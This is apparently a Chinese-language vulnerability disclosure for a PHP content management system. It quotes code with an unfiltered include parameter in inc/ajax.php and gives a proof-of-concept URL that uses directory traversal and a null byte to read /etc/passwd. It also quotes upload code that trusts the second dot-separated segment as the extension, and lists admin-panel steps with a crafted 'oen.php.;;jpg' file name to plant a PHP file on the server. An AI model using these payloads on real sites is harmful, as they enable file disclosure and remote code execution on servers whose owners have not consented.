/*引:
Team:MakeBug
Author: Cfking
漏洞文件:inc/ajax.php
漏洞代码:
*/
<?php
header('Content-Type:text/html; charset=utf-8');
$absolutepath = $_GET['absolutepath'];
require_once($absolutepath.'inc/common.inc.php');
$sql = "update {$configTableHead}{$dbtable} set clicknum={$clicknum}+1 where id={$id}";
$result = $dbInstance->query($sql);
?>
$absolutepath参数直接获取GET传递的值没有任何过滤加入require_once!
这个包含的而且还是数据库配置文件!
POC
ajax.php?absolutepath=../../../../../../../../../../../etc/passwd%00.
其他问题:
/*---------------------------------------------------------------------------------------*/
function upload($form, $fileFormat)
{
//略
$ext = explode(".", $filear["name"]);
$ext = $ext[1];
//设置保存文件名
srand((double)microtime() * 1000000);
$rnd = rand(100, 999);
$name = date('U') + $rnd;
$name = $name.".".$ext;
//略
@unlink($filear["tmp_name"]); //删除临时文件
}
return "../upload/file/".$name;
}
//略
?>
/*---------------------------------------------------------------------------------------*/
function getext($filename)
{
if ($filename == "")
{
return ;
}
$ext = explode(".", $filename);
return $this->ext = $ext[1];
}
function set_savename($savename = "")
{
if ($savename == "")
{ // 如果未设置文件名,则生成一个随机文件名
srand((double)microtime() * 1000000);
$rnd = rand(100, 999);
$name = date('U') + $rnd;
$name = $name.".".$this->ext;
}
//略
/*---------------------------------------------------------------------------------------*/
这属于国际问题了:
利用方法:
后台-------基本设置-------banner配置---------上传----------Flash设置管理-------图片轮播
构造文件名:oen.php.;;jpg